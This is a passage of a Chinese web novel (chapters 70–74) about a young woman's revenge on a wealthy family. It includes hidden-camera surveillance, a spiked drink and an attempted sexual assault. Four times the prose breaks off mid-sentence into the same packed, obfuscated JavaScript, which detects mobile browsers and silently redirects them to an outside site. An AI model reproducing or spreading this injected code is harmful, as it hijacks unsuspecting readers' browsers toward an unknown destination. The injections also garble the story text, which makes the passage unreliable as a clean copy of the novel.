是她拍到的那组林晶欺负林洛的照片，让严靖诚突然注意到林晶。 容清洛相信，以严靖诚对林洛的重视程度，他以前肯定专门派人查过林洛的日常生活。 那时候严靖诚没发现这事，是因为林晶在读大学以前都在南庐市，当然没有太多机会对林洛做什么。 可自从林晶来江大以后，多了很多与林洛接触的时间。 由于林洛的安全这么多年一直都有保障，所以估计严靖诚压根没意识到林洛会被林晶欺负，便疏忽了。 因此，在容清洛把这件事汇报上去以后，严靖诚才会因为乍然知道此事而怒气冲冲地从南庐市赶到宁川市，只为了教训林晶。 在容清洛眼里，严靖诚这个人，其实真的不怎么样。 她原本以为严靖诚一直都是一个对他人的苦难麻木不仁的人。 没想到的是，严靖诚竟然还有点父爱，会在无人之处暗暗地守护女儿，为女儿出头。 容清洛只能感慨，这人性实在太复杂，所有人都不是非黑即白。 但不管怎样，严靖诚对林晶产生敌意，这对容清洛而言，绝对是一件意料之外的好事。 林晶完全是多行不义必自毙。 所以容清洛适时地建议严靖诚把林晶纳入到扳倒林家的计划当中，让林晶成为严靖诚的一粒棋子，用对林晶罪恶的审判吹响令林家崩塌的冲锋号。 她固然心软，却也不是盲目地原谅敌人。 严靖诚手里有很多资源。 只要他参与进来，让林晶的罪行大白于天下，就会更有把握。 这一招借刀杀人，容清洛曾经在书中看过。 而今，她在实践中运用。 希望能成功。 70. 寒夜灯明 这天，容清洛下班回到出租屋内。 快到年底了，她开始梳理这一年的收获，对来宁川市以来的所有行动进行总结，思考接下来应该如何将她自己的复仇愿望和严靖诚下达的任务有机融合。 在总结的过程中，容清洛突然回忆起，严靖诚曾让她给林裕名下空着的那套公寓安针孔摄像头。 她有两三个月没管那个监控了。 容清洛打开电脑，找到和摄像头配套的软件。 今天恰好有时间，明天容清洛调休。 她便打开软件，点击最大倍速，开始检查这几个月以来摄像头拍到的所有画面。 视频中，光线从亮到暗，由暗转明，时光就在这样的光影变换中流逝，而这间公寓的门一直未打开过。 容清洛看得有些犯困。 直到某一个时刻，有人推着行李来到这间公寓门前，拿出钥匙打开房门，走了进去。 男子的身形挺拔如松，面如冠玉的脸庞让容清洛感到十分熟悉。 她猛地一个机灵，清醒过来。 容清洛在键盘上敲击，来回倒腾着反复辨认画面上男子清俊非凡的面容，不敢置信。 怎么会是他？ 周先生。 他怎么会来住林裕的房子？ 容清洛继续向后看视频。 但是监控视频没过多久就到头。 最后定格的画面是男子冷凝的眼，一只手由远而近地靠近镜头，黑屏。 容清洛皱眉，察看视频结束时显示的时间和日期，是十二月上旬。 如今，距离针孔摄像头被周先生所发现的时间点，已经过去小半个月。 容清洛有点紧张。 原本她并不担心有人会查到她头上。 可现在那人是周先生，容清洛便有些不确定了。 *** 翌日清晨，晓雾蒙蒙，天气阴沉沉的。 晏行铮和往常一样，雷打不动地来到青谷山公园，沿着健身步道进行晨跑。 这个公园很大，绿化多，即便是冬天，依旧满目苍翠。 他跑了大概半个多小时，不见疲累。 但是在经过一处休息亭时，瞧见坐在那里的中年男子，晏行铮脚步微顿，抹了一把额头上不存在的汗，缓行入亭，坐在那人旁边。 也许是因为天气的原因，这会儿晨练的人不多。 此刻亭中只有他们二人。 看着远处起伏的山峦，晏行铮开口：“平叔，查出结果了吗？” 平叔：“阿立呀……” 晏行铮纠正道：“我现在叫晏行铮，不叫周衡立。” 平叔：“私下里，我想喊你的真名，不想让你一直带着面具。” 晏行铮：“危机一直潜藏在暗处，我们必须时刻警醒。” 平叔妥协：“好吧，阿铮。” 晏行铮：“说正事吧。” 平叔：“我们查了最近几个月物业的监控，但是并没有拍到是谁在门上装的针孔摄像头。” “不过我们发现，你那个小区的监控在今年八月份的时候因为意外停电全部失效过一天。针孔摄像头极有可能就是那时候安装上的。” 晏行铮：“什么意外，是人为的吗？” 平叔：“当时那附近在施工，施工队不小心挖断了电缆，殃及了好几个小区。所以停电是意外。安摄像头的人是借着这个机会顺势而为。” 晏行铮：“是林裕不放心我，所以要监视我吗？” 平叔从怀里拿出一沓照片递给他，问道：“你认识这个女生吗？” 女生？ 晏行铮皱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578021|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉。 他接过照片，一张张翻看。 平叔解释道：“在小区大范围停电之后的几个月里，没从监控中看出什么异常。但是在停电之前的一个月里，我们发现这个女生很可疑。她多次乔装成外卖员和快递员出入你住的楼层。” 晏行铮已经将照片快速过了一遍。 他着实没想到，自己还有机会见到季希。 她似乎比一年前要长开了一些。 晏行铮原本紧张的心弦放松下来，他告诉平叔：“我是这个月才搬过来的，很明显，她的目标应该不是我，而是林裕。” 平叔：“你说的也有一定的道理。但是我们还需进一步核实。你们每一个卧底的潜入都不是你们个人的事情，所以每一步都要慎之又慎。” “明白。”晏行铮，“那你目前查出有关她的什么信息了？” 平叔：“她叫容清洛，宁川市宣水县人。其他具体的信息还在调查中。” “如果最后确认她不是冲着你来的，那么这针孔摄像头就不是为了拍你，这事儿就和你没关系。也就说明，林裕目前对你还算信任。” 说着，他伸手，要收回这女生的照片。 晏行铮却没给，挑眉道：“也不一定就和我没关系。” 平叔：“哦？” 晏行铮：“我认识这姑娘。” 平叔沉默了。 晏行铮：“你刚说她叫什么？” 平叔示意他把照片翻过来。 晏行铮这才发现照片背面写的有名字，他念出声：“容，清，洛。” 可他分明记得，曾经她告诉他，她叫季希，季节的季，希望的希。 还有，这姑娘不是南庐市人吗？ 怎么一转眼，她的籍贯变了，名字也变了，还和林裕牵扯在一起？ 71. 寒夜灯明 杜忆凝和林丞离婚了。 时间恰好在学期末，林洛成功申请下学期出国交换。 杜忆凝会陪着林洛一起出国。 杜家和林家也终止了合作。 杜忆凝的侄子杜睿江与林晶的婚约随之作废。 林洛回学校办手续的时候，被林晶堵了个正着。 在校园无人的角落里，林晶毫不留情地打了林阑一巴掌：“你对睿江说了什么？” 林洛没再为了妈妈而忍耐，反手一个巴掌打回去，冷冷道：“不需要我说什么。你是什么样的人，我哥有眼睛，他看得清。” 说完，她便要转身离开。 林晶没想到林洛竟然敢反抗，跟上林洛。 她拽住林洛的胳膊，嘴里不耐烦地骂道：“小贱人，你敢打我……” 从旁边伸出一只手，轻而易举地拦下林晶。 林晶瞧着将林洛护在身后的青年，泪眼盈盈地去抓他的衣角：“睿江……” 杜睿江让林洛先到旁边等他。 然后他避开林晶的手，冷冷道：“林小姐，请自重，我们已经没有婚约了。另外，请林小姐对我妹妹客气一些，不要再动手动脚，也不要言语辱骂，否则……” 林晶：“睿江，你为何如此绝情？难道这几年的情分你就一点都不顾念了吗？” 杜睿江：“林小姐，我们二人之间，始于婚约，终于婚约，何来的情分？” 见林晶还欲说些什么，他直接道：“如果你非要谈情分，那我想先问问你，为什么在明明和我有婚约的前提下，你还要与凌舟、蔡柯岩等人纠缠不清？” 林晶：“都说了我只把他们当哥哥啊。” 杜睿江：“是情哥哥吧。” 林晶点了点杜睿江的心口：“我的情哥哥是谁，你还不清楚吗？我爱的是你啊。” 杜睿江又向后退了一步：“你对我本就是不走心地玩玩，现在又有什么立场指责我不顾念情分？难道不是你先把我对你的情分踩在脚下的吗？” 林晶只能看着杜睿江冷着脸把林洛带走。 她百思不得其解。 这么些年里，她游走于一众别人的男神中，掌握着高超的训狗技巧，怎么会突然翻车。 是谁把凌舟、蔡柯岩等人的事情告诉杜睿江的？ 算了，管他的，杜睿江他想走就走吧，下一个更乖。 林晶对这些事接受度很高，但她哥林裕可不一样。 最近，林裕总是一个人喝闷酒。 林晶见不得她哥这个为情所困的鬼样子。 很快，她想到一个让她哥开颜的方法。 *** 快过年了，街上到处都是张灯结彩。 容清洛自己一个人，无所谓过不过年。 这天，她照常来到咖啡店上班。 容清洛今早收到了来自严靖诚的消息。 严靖诚让他想办法弄到林晶的头发。 现在是寒假，林晶不在学校上课，也没住学校附近的公寓。 所以容清洛要想接触到林晶，并不容易。 一整天她都在绞尽脑汁地想方法。 由于下午有点忙，容清洛没能按时下班。 大概四五点的时候，她的手机铃声突然响起。 一个陌生号码。 容清洛拿起手机：“你好？” “这位小姐，没忘记自己还欠着我一个被摔坏的手机屏吧？” 对面传来声音，那漫不经心的语调，对容清洛而言，再熟悉不过。 是林晶。 林晶怎么会主动给她打电话？ 容清洛心里狐疑，嘴上答道：“当然没忘记。一直在等您联系呢。您想怎么赔偿？” 林晶：“我今天刚好有空，你出来吧，半小时后，在江大门口见。” 说罢，电话挂断。 这就开始命令上她了？ 容清洛眉毛微挑，放下手机。 同事见容清洛神情严肃，以为她有重要的事情，忙道：“清洛，今天多亏了你帮我，不然还真是忙不过来。这会儿客人少多了，我们忙得过来的，你赶紧下班去忙你自己的事情，可别耽误了你的事。” 为了任务，容清洛最终还是决定去赴约。 江大门口，容清洛静静等候。 一辆车驶来，停在她面前。 后座的车窗降下，露出里面林晶的脸。 林晶面上带着让人捉摸不透的笑意。 她打量人的目光也让容清洛感到非常不适。 那是一种自上而下地审视和掂量。 容清洛皱眉。 林晶好似非常满意，终于道：“上车，我想请你帮个忙。” 容清洛未动：“一直没有问过您怎么称呼。” 林晶：“我姓林。你呢？” 容清洛照葫芦画瓢：“我姓容。” “林小姐，您想让我帮什么忙？” 林晶：“请你吃顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578022|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚饭，吃饭的时候告诉你。” 容清洛隔着布料摸到自己包里的刀，心一横，坐上林晶的车。 古语有云，不入虎穴，焉得虎子。 她得冒这个险。 车窗外的路越来越熟悉，当汽车开进一个高档小区时，容清洛突然意识到，林晶喊她来究竟是做什么的。 这个小区，她在跟踪林裕时来过很多次，她甚至知道林裕具体住在哪一栋哪一户。 果不其然，车停在林裕楼下。 林晶带着容清洛一步步来到林裕的公寓门口。 这一路上，容清洛随时有机会逃脱。 但是她实在没办法就这样放任自己半途离开。 要知道，不论容清洛自己用什么样的理由和方式接触林裕，多少都会被林裕当成是蓄意接近。 而这次却是天赐良机。 林晶想要带她认识林裕。 不论林晶是出于怎样的目的，假若她容清洛是林晶安排的人，林裕也许会看在自己妹妹的面子上，更加容易接受她，也更加容易信任她。 那么，她就更能有机会找到林家的破绽。 林晶直接刷指纹打开大门，带着容清洛走了进去。 容清洛环顾四周，并未在屋内看见林裕的身影。 餐桌上已经摆好饭菜以及酒水。 容清洛靠近林晶，脸上攒出一抹羡慕的笑意：“哇，好漂亮，林小姐，这是你家吗？” 林晶眼里闪过轻蔑：“你喜欢这里？” 容清洛：“喜欢。” 林晶笑得意味不明：“那就好。” 容清洛：“嗯？” 林晶：“那你可要好好把握今晚的机会。” 容清洛面上露出疑惑：“什么意思？” 林晶笑起来：“你待会儿就知道了，给你一个惊喜。” 容清洛的视线落在林晶的一头秀发上。 很明显，这头发是受到精心护理的。 想到严靖诚给的任务，容清洛眼神微闪。 忽地，她冷下脸，伸出手迅速揪住林晶的头发，厉色道：“你今天叫我来，究竟是要做什么？” “当时你手机屏碎的时候我就已经要赔你钱，是你不要，但我一直惦记着这件事，觉得对不起你，所以你今天说有事我才会出来和你见面。” “你能不能有什么话就直接说清楚。” “你现在不仅词不达意，还笑得神神秘秘，怎么，你是拉皮条的？” 72. 永夜降临 “痛痛痛……”林晶的头猝不及防地在头发的拉扯下侧向一边，她两手护住头皮，张口便骂道，“小贱人，你给我放开！” 林晶一边骂，一边想要挣脱。 可容清洛的力气虽然比不上男子，到底还是略胜养尊处优的林晶一筹。 所以林晶根本挣脱不开容清洛的桎梏。 在林晶的痛呼声中，容清洛冷着脸吐出轻飘飘的几个字：“想要我放手，可以，请你把嘴巴放干净点。” 林晶一向是识时务的人。 脸面随时可以找回，但头皮的痛现在就折磨着她。 她立马低头，好声好气地告饶道：“容小姐，我脾气确实不好，颐指气使惯了，你大人有大量，别和我计较。” 容清洛冷哼一声，并未言语。 林晶连忙加码，想用钱收买容清洛：“哦对了，其实我包里给你准备了一张卡，里面的钱够你花好久，算你今晚来这里的报酬。我的包就在那儿，你快去拿。” 容清洛给了林晶一个白眼：“谁要你的臭钱。” “快说，你叫我到这儿到底做什么？” 林晶只得解释道：“容小姐，我待会儿有点事，会先走。我想请你帮的忙就是在这里陪一位先生吃顿饭。今天是他的生日，希望你能替我祝他生日快乐。” 说完，她还强调道：“这位先生很帅，也很有钱哦。” 容清洛：“你说的这人是谁？” 林晶：“你过一会儿就知道了。” 容清洛手下加劲。 “嘶……”林晶头皮发麻，只好和盘托出，“我哥，我亲哥。” 果然是林裕。 容清洛眯起眼睛：“为什么选我？” 林晶忍着疼大声道：“因为你长得好看，秀色可餐，可以了吗？” 容清洛松手：“这个理由，很客观。” 趁着林晶的注意力全放在整理头发上，容清洛悄悄将藏在手心里的一绺头发塞进兜里。 林晶确认自己并没有变秃以后，本来想把保镖叫上来给这个姓容的一点儿颜色看看，但当她的目光掠过餐桌上已经倒好的酒水时，突然改变了主意。 这酒水里可加的有好东西。 林晶勾起唇角，笑着来到桌边，端起两杯放在不同位置的酒，走向容清洛。 她自己留了一杯，另一杯递给容清洛，说道：“容小姐，刚刚真是不好意思，我请你来，反倒让你误会了我的好意。” “其实于我而言，今年过得不算很顺心，但要说有一件还算高兴的事情，那就是认识你。” 毕竟这位容小姐的脸是真能让他哥开心。 林晶这样想着，便也就觉得头发被薅了就薅了吧，啥都没有她哥重要。 她举起酒杯：“为了这个，咱俩得干一杯。” “都在酒里哈，喝了你就别生气了。” 虽然容清洛和林晶有仇，但在能屈能伸这方面，容清洛是真挺佩服林晶。 不像她，她有时候为了那点无用的自尊心，总是不愿意低头，于是吃了不少苦头。 但现在实在不是伤感的时候，容清洛很快调整好情绪，掩下眼眸里一闪而过的自嘲，接过酒杯。 只是，听着林晶看似好意的话语，瞧着林晶眼眸深处如毒蛇一般潜藏着的恶意，容清洛几乎立刻就意识到她面前的这杯酒怕是有问题。 怎么办？ 这里毕竟不是她的主场。 在林晶的地盘上，她刚才为了拿到林晶的头发，已经铤而走险地激怒了林晶一次。 现在最好还是不要太和林晶针锋相对。 但是这酒，肯定是不能真喝的。 可又得让林晶以为她喝了。 左右为难之际，容清洛端起酒杯，打算先含在口里，待会儿趁林晶不注意再吐出来。 酒杯倾斜，就在酒要接触到她的嘴唇时，开门声传来。 容清洛端着酒杯的手微顿。 是林裕。 林晶便顾不上容清洛。 趁着林晶转身到门口迎林裕的间隙，容清洛飞速地把酒直接倒进餐桌中央的汤里，顺便拿勺子将颜色搅匀。 于是林晶回来时，见到容清洛空空的酒杯，便以为容清洛已经将酒喝尽。 她唇边的笑意加深，凑近林裕，低声道：“哥，她就是我送你的生日礼物。” 见林裕皱眉，林晶连忙道：“没提前告诉你就带生人来是我不对，但这也是为了给你惊喜呀，反正你这套房子又不长住，你那书房我早给你锁上了。” 她拍拍林裕的肩膀，眨眨眼睛，狡黠道：“哥，咱俩是亲兄妹，你对林洛的那点儿心思还能瞒得过我吗？” 林晶示意林裕看向容清洛：“这可是我精心为你挑选的礼品，希望能博你一笑，令你开怀。” “不过玫瑰带刺，摘的时候需要些手段。” “忘掉远走的林洛，尽情享用眼前的玫瑰吧。” 然后，林晶一眼都没再看容清洛，转身离开这间公寓。 来到电梯口时，林晶站住，并没有着急走。 她沉吟片刻，然后拨出一通电话。 没过多久，上来几个黑衣保镖，恭敬对她道：“小姐好。” 林晶冷漠着脸吩咐：“今晚你们就守在这里，务必不能让那女生离开我哥的房子一步。” *** 屋内，看到女生的瞬间，林裕便明白了妹妹的心思。 不过想来，妹妹是误会他了。 他最近总喝闷酒，可并不是因为林洛。 以前他之所以关注林洛，也并不是因为喜欢这个比自己小了十多岁的异父异母的妹妹。 林晶这个不省心的大小姐平日里只顾着调戏美男，向来不关心集团的事情，也不知道林洛的真正身世。 但他林裕知道。 林裕有自己获取消息的渠道。 他很早就了解到，林洛不是父亲林丞的女儿，林洛的生父另有其人。 也就是说，林洛虽然被冠以林姓，却和他们林家没有血缘关系。 但有一点毫无疑问，林洛身上流的有杜家的血，且林洛这个外孙女还挺得杜老爷子喜爱。 林家需要杜家的扶持。 他需要杜家的扶持。 这两者是不一样的。 在外人眼里，林丞娶了杜忆凝，生下林洛。 林洛，杜忆凝。 继母，继母的女儿。 这两个人天然与林裕和林晶分属不同的阵营，是争夺家产的敌人。 在林裕眼中，杜忆凝母女和林家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578023|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并没有紧密的联系，让她们二人充当他和杜家的纽带，并不保险。 所以他需要一个杜家的妻子。 可惜的是，杜家这一辈没有女孩儿。 林晶这个妹妹比他要小十四岁。 前两年，林晶的年龄终于合适了，在他的促成之下，让林晶和杜睿江定了亲。 但在那之前的好多年里，林晶的年龄还太小，他只能另辟蹊径。 所以他把目光放在了林洛身上。 林洛也算是杜家人，而且和他没有血缘关系。 可是林洛比林晶还小一岁。 好在林洛虽然性格呆了一些，却真的是个大美人，豆蔻年华便已经出落得花容月貌、婀娜多姿。 这让他对林洛的迷恋和情感有了依据，背后的心机谋划在林洛倾城之姿的诱惑下倒不那么明显了。 但他没有直接挑明这件事情，而是先找了一个和林洛长得很像的大学生当女朋友。 但那个女生不太安分，他后来才查到那女生是范家派来的。 所以他找了个由头把她处理掉了。 之后，他跳过杜忆凝这个继母直接和杜老爷子进行了一场详谈。 他说想娶林洛。 他说自己本来尽力在克制，还找了一个和洛洛长得像的替身来转移注意力，但因此反而更让他笃定，那女人不是洛洛，而他此生，非林洛不娶。 总之，摆足了一副深情款款的架势。 杜老爷子虽然以林洛年龄还小为由表示暂时不考虑林洛的婚事，但也没有明确拒绝他，只是让他对此事要保密。 所以他曾经求娶过林洛的事情只有杜老爷子知道，连他父亲林丞和继母杜忆凝都不知。 林洛也只以为他是一个非常宠爱妹妹的好哥哥。 林裕并没有放弃，他只是加倍对林洛好。 所以那些年里，杜家对他也有了很多帮助。 注意，是对他林裕个人的投资，而不是对林家的。 为了给他与杜家的关系加上双保险，他让林晶和杜睿江也订了婚。 林晶倒确实是看上了杜家的小子，并没有很排斥他的安排。 但比较头疼的一点是，林晶不太喜欢林洛。 怎么说呢，他虽然想要杜家的支持，但他更看重林晶这个与他一母同胞的妹妹。 林丞虽然认定他这个长子为继承人，但林丞真不是个好父亲。 小时候，林晶还没被送到南庐市的时候，只有林晶和他相依为命。 可以说，林晶是他一手带大的，也是他最看重的亲人。 所以，在林晶来宁川市的这一年里，他其实刻意对林洛淡了下来。 他不想让林晶因为他对林洛好而伤心。 如今杜忆凝和父亲离婚，并且带走林洛，这样也好，起码林晶不会再不开心了。 只是，他失去了杜家这个助力，范家又虎视眈眈，宁川市还有许多人在伺机而望，想要把林氏集团弄垮。 这些人想要合起伙来对付他，那他便要想办法把他们一网打尽，终有一日，宁川市会只有他一家独大。 他肩上的压力不轻，所以最近才会多喝了点酒，以此让神经放松一下，没想到却让林晶这个鬼机灵误会了，竟然找到一个和林洛这么像的女生来。 73. 永夜降临 容清洛耳聪目明，自然听清了林晶临走时对林裕说的话。 林晶根本就没把她当成一个活生生的人来看待。 无论林晶的态度是高傲、审视还是服软，林晶始终只是为了达到一个目的，就是把她当成礼物，献给林裕。 林晶可以因为觉得一个人的脸能让林裕展颜，就毫不犹豫地把这个人当成礼品一般送出，甚至都不愿意多嘴问问这个人自己的意愿。 在林晶眼里，她这样的人都是可以被随意支配的耗材。 想明白这一点，容清洛突然就意识到自己曾经的可笑。 那时她还认为严靖诚报复林晶的行为是在泄愤，说服严靖诚留林晶一命。 太可笑了。 她一只羔羊，竟然会因豺狼受难而悲伤。 一群豺狼撕咬内斗，她一只羔羊不早早离开，反而劝一只豺狼留另一只豺狼一命。 结局就是，她对豺狼的一丝愚善，终将化作豺狼劈向她的屠刀。 何其愚昧。 何其是非不分。 究其原因，她还是对这个社会了解太少，对人的生物多样性了解不足。 容清洛在心里怒骂自己。 大谬愚妇人，何日悟道解经纶！ 她和林晶根本就不仅仅是立场不同，也不仅仅是隔着人命的仇恨。 她们根本就不是同一个物种。 羔羊只要活着，豺狼就欲吞噬羔羊。 这不是因为羔羊做错了事情，这与羔羊的品德一分钱关系没有。 羔羊被豺狼围猎的原因不在于羔羊的品性高低、肉质肥嫩，而在于豺狼恶的天性。 既然豺狼捕食没人认为是错的。 那么羔羊不愿引颈受戮的反抗也不该是错的。 豺狼发出的驳难攻讦，不过是为了达到吞噬羔羊的最终目的而找出的借口。 这和善恶有什么关系？ 这和人品有什么关系？ 羔羊不需要做任何惹怒豺狼的事情，只要羔羊是羔羊，豺狼利齿的终点迟早会落在羔羊无害的脖颈上。 而羔羊想要获得豺狼的认同，唯一的途经就是变成豺狼腹中的珍馐佳肴。 难道羔羊为了讨好豺狼还需要努力让自己的肉质变得更鲜嫩、骨头变得不硌牙吗？ 怎么不干脆让羔羊一只一只地直接跳进豺狼的嘴中？ 这么恶毒的春秋大梦等你们这些豺狼在地狱里滚油锅的时候再做吧。 想到这里，容清洛醍醐灌顶。 当面对和她一样的羔羊时，可以遵循美德，可以就当一只羔羊。 但当面对豺狼时，如果还实诚地作羔羊，那便是迂腐。 哪怕力量再悬殊，她一只披了人皮的恶鬼，还怕再披上一张狼皮吗？ 面对豺狼，她当以暴制暴，比豺狼还凶恶，比豺狼还狠辣，这样才能制服对方，让豺狼也感到脊背发凉、后怕不已。 不要再为那所谓的善恶而矫情了，想要塑造自己的人格，首先要能够有尊严地当个人活下去。 而不是被当成物品，被当成盘中餐。 对一只注定要变成盘中肉的羔羊而言，别说决定自己的人格、坚守自己的品格，根本就连自主决定长相和胖瘦的权利都没有。 先成为人，才有机会有人格，这个顺序错不了。 容清洛恍然明白，原来她根本就还在第一层。 *** 在林晶离开这间公寓的那一刻，林裕和容清洛的心里都想了很多，但实际上也不过是电光火石的几个瞬间。 将诸般思绪抛至脑后，现实还是得继续。 林裕瞧着面前女生肖似林洛的脸庞，唇边蓄起标准的笑意：“抱歉，舍妹喜欢胡闹，给这位小姐添麻烦了。不知小姐怎么称呼？” 容清洛无语了。 他妹妹哪里是在胡闹，林晶根本就是有意识地在犯罪。 但容清洛人在屋檐下，总不能在林裕面前说人家妹妹的不对。 是以她只道：“你难道不应该先自报家门吗？” “鄙人林裕。”林裕，“这下可以告诉我你的名字了吗？” 容清洛今天这一趟最重要的目的是拿林晶的头发。 至于接近林裕，也得是在她安全的前提下再做图谋。 毕竟，她的复仇对象是林晶，不是林裕。 严靖诚和林裕对她而言都是豺狼，实在是没必要为了严靖诚的任务而把自己搭进去。 并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578024|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 且如今林晶的头发已经到手，此时不走，更待何时？ 思考到这里，容清洛的态度瞬间变得非常强硬，非常坚决。 她既然对林裕没兴趣，那就要直接地表现出来。 容清洛冷冷道：“你管不着。” 说罢，便背着自己的包转身要离开这里。 林裕没想到有生之年会被女人怼，还有点愣神。 而容清洛打开门，却被门口的保镖拦住。 林裕一看便知这是妹妹林晶吩咐的。 心里有了底，林裕悠然来到门口。 容清洛：“林先生，请让他们放我出去。” 林裕：“现在能好好说话了？” 他示意保镖把门关上。 容清洛怒目而视：“林先生，你什么意思？” 林裕：“想走？可以，名字。” 容清洛深吸一口气，胡诌一通：“随亦。” 林裕点头，挥手，示意容清洛到餐桌落座：“随小姐，不管有什么事，先坐下吃口饭吧。” 容清洛看了一眼紧闭的大门，知道今天如果没有林裕的允许，保镖不会让她离开。 她只好从善如流地坐下，细心留意着，只夹林裕尝过的饭菜。 她发现，中间那锅汤林裕似乎十分钟爱。 林裕饭菜没吃几口，汤却喝了不少。 但容清洛一滴汤未沾。 她在观察林裕。 林裕也在观察她。 实际上，林裕并没有采野花的习惯。 这位随小姐身份不明，他必须先查清底细才能心安。 可心里隐约又有一些不甘。 林裕在林洛身上花了太多的心思，并且碍于杜家，他一直谨守礼法，对林洛十分纯情。 如今林洛已经出国，他这么多年来，即便发心不纯，但养花的呵护却是实实在在地付出了。 总该收一点利息吧。 林洛他动不了，动个和她像极了的女人，这总该行吧。 林裕的眼神晦暗一片。 不知道为什么，以往的理性在今晚荡然无存。 仿佛有一种声音一直在耳畔将他最隐秘的心思不断地诉说。 有花堪折。 74. 永夜降临 容清洛放下碗筷：“林先生，听令妹说今天是你的生日，祝你生日快乐。” “谢谢随小姐，”林裕，“不过，没有礼物吗？” 容清洛：“来了才知道，确实没有提前准备。” 她起身为林裕添了一碗汤：“只好以汤代酒，祝公千岁。” 你定要长长久久地活着。 看林家败落。 看林晶殒身，掉獠牙，束手脚，了残生。 人活着，也是可以看见无边炼狱的。 林裕不知容清洛心中真意，笑道：“没关系，我已经收到了你这个礼物，很合我眼缘。” 听明白林裕的意思，容清洛冷下脸，没有说话，只是静静地看着林裕将碗里的汤喝尽。 林晶肯定不会想到，她让刀俎上鱼肉喝下的东西，最终会被她自己的哥哥所食。 待林裕吃好，容清洛起身想要告辞：“好了，饭也吃了，寿也祝了，林先生，我现在真的应该走了。” 林裕拦在容清洛面前：“随小姐，夜还很长。” 男女力量悬殊过大，虽然容清洛一直在挣扎，但林裕一看就是经常健身的人，很快容清洛就被推倒在沙发上。 林裕稳操胜券的笑容十分刺眼。 容清洛气不过，拼尽全力踢向林裕，林裕吃痛，容清洛被桎梏着的双手得以挣得几秒自由。 她从兜里摸出一把刀，对准林裕：“别过来。” 容清洛平日里会在随身的包里放一把水果刀，刚刚在上楼时，趁着林晶没注意，她就将这刀悄悄取出，塞进衣服里面的口袋中。 这会儿终于派上用场。 拔出刀鞘，刀刃上的光映照出林裕兴奋的眼眸。 林裕嘲讽道：“随小姐，这样就没意思了。你答应我妹妹来这里的时候难道不知道要做什么吗？这会儿又摆出这副模样，又当又立，玩儿呢？” 容清洛的手很稳，刀尖一丝不晃。 她开口，拖延着时间：“林先生，我只是不小心撞坏了令妹的手机，今天接到令妹的电话来赔偿。可令妹不要钱，只说让我帮她一个忙，就是陪你吃晚饭，祝你生日快乐。” 林裕笑起来，明显是对容清洛的话表示怀疑：“是吗，你若真的不想，那你在我来之前怎么不走？” 容清洛：“因为我脑子有病，竟然相信了令妹的话。” “林先生，我看你也是知书达礼的文化人，怎么，酒还没喝呢，就管不住自己了？丢不丢人，简直就是人面兽心的斯文败类……” 林裕被骂，心中到底有些不快。 以前为了自身安全，他专门找老师学过擒拿，所以对付面前这女子还是绰绰有余。 林裕噙着笑，慢慢靠近她。 容清洛见拔刀根本威慑不到林裕，只好动真格的，挥刀刺向林裕。 哪想到林裕不闪不避地，竟然控制住容清洛的手腕。 容清洛很轻易就被缴械，只在林裕的肩膀划出一道浅浅的口子。 当刀落在地板上发出声响时，容清洛有点难以置信。 林裕用皮带绑住容清洛的手腕：“玫瑰确实带刺。” “随小姐，希望你今天对得起林某肩上流的这点血。” 他微微起身，膝盖压住容清洛的双腿，面目微沉，慢条斯理地解起扣子。 容清洛被林裕堵在沙发靠背和他之间，手又被束缚住，只好放弃挣扎，开始用语言干扰林裕：“林先生，你读过《战国策》吗？” 林裕眼里露出势在必得的笑，伸手抚摸上容清洛的脸颊：“怎么，终于想通了？可以正常地聊会儿天了？” 容清洛将头侧向一边，避开林裕微热的手指：“《战国策》里有一篇叫《唐雎不辱使命》，其中有一句话，我记忆尤为深刻。” 林裕靠近容清洛，嗅到一丝清香，他靠在容清洛耳畔低语：“什么话？” 容清洛：“若士必怒，伏尸二人，流血五步，天下缟素。” 林裕微愣，旋即起身，仰头大笑起来：“林某当不起随小姐这般盛赞。” 面前这男子的开怀不似作伪，他好像真的因为她的话语十分畅意。 